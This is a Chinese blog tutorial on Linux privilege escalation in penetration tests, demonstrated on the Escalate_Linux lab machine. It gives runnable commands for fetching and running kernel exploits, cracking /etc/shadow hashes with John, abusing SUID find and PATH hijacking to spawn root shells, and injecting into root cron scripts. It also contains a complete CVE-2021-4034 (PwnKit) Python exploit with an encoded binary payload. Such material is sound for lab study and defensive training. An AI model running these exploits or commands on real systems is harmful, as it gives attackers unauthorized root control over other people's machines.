渗透时Linux系统该如何提权?


一、提权手段总结

1.1 内核提权(基础提权)

1.1.1 对目标靶机进行信息收集

uname -a 查看内核文件
请添加图片描述

lsb_release -a 查看发行版本

请添加图片描述

cat /etc/issue 查看发行版本

请添加图片描述

1.1.2 searchsploit工具的利用

利用kali自带的searchsploit工具对内核进行查询,找到exp文件进行反编译,这里我们就利用2.10的内核做个例子:

searchsploit 2.10.0
请添加图片描述

这里我们假设对应版本是“ProFTPd 1.2.10 - Remote Users Enumeration”
这个c源码保存到当前目录底下

searchsploit 2.10 linux/remote/581.c -m

请添加图片描述
对.c源码进行编译

gcc 581.c -o exp #编译
请添加图片描述

1.1.3 将exp文件上传至目标靶机

我们可以在kali环境中开一个python服务器,这样靶机直接访问文件地址,便可直接下载exp文件,然后给文件执行权限

#kali中exp目录下执行该命令:

python3 -m http.server 80

请添加图片描述

#获取192.168.92.130/exp 文件并保存名为exp:

curl http://192.168.92.130/exp -o exp

请添加图片描述

#给exp文件添加执行权限

chmod +x exp

请添加图片描述

#运行exp文件(我这边靶机不存在该漏洞所以就不执行了)

./exp

1.2 John破解提权

1.2.1 获取shadow结合passwd进行破解
这边John爆破主要是获取到/etc/shadow这个文件,这个文件只允许root可读的,
但是在某些情况下可以得到这个文件,如果我们能够得到/etc/shadow 文件的内容,
我们有很大概率能破解根用户的密码哈希值。
有时候在某些awd竞赛中给出shadow这个文件,
(当有权限修改shadow的时候,我们也可以修改root密码的哈希值,修改成我们自己知道的)

有时候是结合find文件去获取例如find有权限但并不能正常的/bin/bash或者其他情况
find /etc -name "shadow" -exec cat {} \;

例如靶场(Escalate_Linux)访问他的8000端口便可未授权下载这个文件
请添加图片描述
读取到了shadow文件,再获取/etc/passwd这个文件

通过unshadow将两者结合

unshadow passwd shadow > newexp

再通过john破解得到root密码
(此处密码设置简单所以会快,如果复杂一些就得话稍微长点时间了)

John newexp

请添加图片描述

1.2.1 直接获取root用户的密码哈希值进行破解

(注意:John这个工具的一个规则是第一次爆破后便不能重复爆破这个shadow,如果想查看上一次爆破的结果,可以使用:john --show shadow 查看)

请添加图片描述
得到hash值:

head -n 1 /etc/shadow

root:$6$lQgBvb6T$bQLqQ5IogUYQsRi0ZRYep0RDKVDZReVMt27FbKd15AdV8GE2cUvS6yhzDZLYoYBEiq9MkQvvHbq/ajbpmdLhP1:18950:0:99999:7:::

将其命名保存进行破解:

(为了更好的排版换行了)

echo 'root:$6$lQgBvb6T$bQLqQ5IogUYQsRi0ZRYep
0RDKVDZReVMt27FbKd15AdV8GE2cUvS6yhzDZLY
oYBEiq9MkQvvHbq/ajbpmdLhP1:18950:0:99999:7:::' > 'hacker.txt'

然后将hacker.txt在kali中利用john跑密码本破解

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hacker.txt

请添加图片描述

1.3 mysql内部数据提权

这边利用靶场(Escalate_Linux)进行测试

这边对目标靶机进行nmap扫描,通过后门结合msf的/script/web_delivery进入交互页面

请添加图片描述

1.3.1 弱口令进入mysql

到mysql目录中查询网站目录表或者其他关键表
请添加图片描述
通过查询user数据库中的表发现了mysql用户的密码,通过ssh进行登录,发现mysql用户的权限也很低,但是至少通过用户ssh进来了,
猜测性的登录root发现密码是:root@12345 ,其他的用户也是用户名+@12345
(有时候root用户的密码便在这里,这里只放了mysql的也许是需要你去猜测,就不做继续的提权,因为涉及了其他的提权点)
请添加图片描述
请添加图片描述

1.4 执行目录提权

可以通过以下命令用来提权的:
三者的目的都一样
·
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find / -user root -perm -4000 -print 2>/dev/null

`

若有find命令的高权限可到/tmp下创建一个文件然后通过该文件提权

cd /tmp

touch a

find a -exec /bin/bash \; -quit

1.5 寻找文件提权

依旧可以用到这串查询语句,这里的靶机依旧是(Escalate_Linux)

find / -perm -u=s -type f 2>/dev/null

请添加图片描述
查询到这些能提权的文件便能直接提权,例如利用**/home/user3/shell这个文件提权,执行后直接变成root权限
请添加图片描述
或者我们可以利用
/home/user5/script**一般script这类文件跟某些命令或者环境变量都有紧密的关系,可以先执行script,发现其跟ls列出目录的结果是一致的,那我们的思路就是将ls命令换成执行/bin/bash,直接获取权限

请添加图片描述

我们这边便在/tmp目录下创建一个指定写入”/bin/bash“的ls文件,并且赋予权限,再将/tmp这个文件夹写入

请添加图片描述
请添加图片描述

1.6 计划任务提权(需要有权限修改计划任务)

通俗的来讲就是root用户创建了一个定时任务,比如10s执行一个sh脚本,例如一个脚本名为shell.sh功能是将echo “I will automate the process” >abc.txt,那这个autoscript.sh的权限所有是root用户的,这个时候只要你将命令内容写入到这个文件中,理论上执行时便会以root权限执行这个命令,但是我这里不知道为啥有些问题,但是思路是这样的。

添加权限(如果可以的话)

chmod o=rw /home/user4/autoscript.sh

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" >> autoscript.sh

请添加图片描述
请添加图片描述

1.7 根据查询工具结合提权文件提权

利用github这个提权工具,结果会出现在下方,有几率破解的exp文件链接将按照概率从大到小一一展示,只需要去对应链接下载,(有些是c源码需要编译)

请添加图片描述
这边提示的便是利用1.8的最新的这个漏洞,很显然这个exp可以直接提权上root

请添加图片描述

1.8 最新漏洞提权(例如CVE-2021-4034 )

该漏洞影响较大,且直接允许便可获取最高权限,这里用2021年kali做个测试,利用python3运行

请添加图片描述

from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
        """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"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

二、提权工具总结

2.1 GTFOBins & LOLBAS(windows)

如果你忘记了linux某些命令的提权方法,可以到这个两个网站查询

https://gtfobins.github.io/              #GTFOBins 
https://lolbas-project.github.io/         #LOLBAS

2.2 Linux-exploit-suggester 提权查询

下载地址:

https://github.com/mzet-/linux-exploit-suggester

命令:

指定内核版本,用法类似于searchsploit,若不接后面参数 -k [版面号] 则检测的是本机提权信息

./Linux_Exploit_Suggester.pl -k 2.6.28

2.3 GTFO

其实就是一个快捷用于搜索GTFOBins和LOLBAS上的二进制文件的工具。

下载地址:

https://github.com/mzfr/gtfo

2.4 LinEnum

这个工具真的是爱了,这个工具直接帮你把关键的信息全都提取出来,直接就是过一遍上面说的提权方法,都不用自己一步步去找浅显的提权文件,这个软件直接给你找出提权点直接就可以去提权了。

https://github.com/rebootuser/LinEnum

2.5 Linux Smart Enumeration

一个也很完美的bash提权工具

执行:

bash lse.sh

下载地址:

https://github.com/diego-treitos/linux-smart-enumeration

操作如下图,简单易懂,非常容易上手的好工具

在这里插入图片描述

2.6 Vulmap

个人感觉跟 Linux-exploit-suggester 属于一类但是没有他强,区别差不多就是这个工具弱一些,是用python编写的,兼容的python版本多,python2、python3都能跑。

下载地址:

https://github.com/vulmon/Vulma

2.7 网站推荐

最新漏洞的相关情况:

https://www.exploit-db.com/
https://dirtycow.ninja/#
  • 1
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

疯狂的1998

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值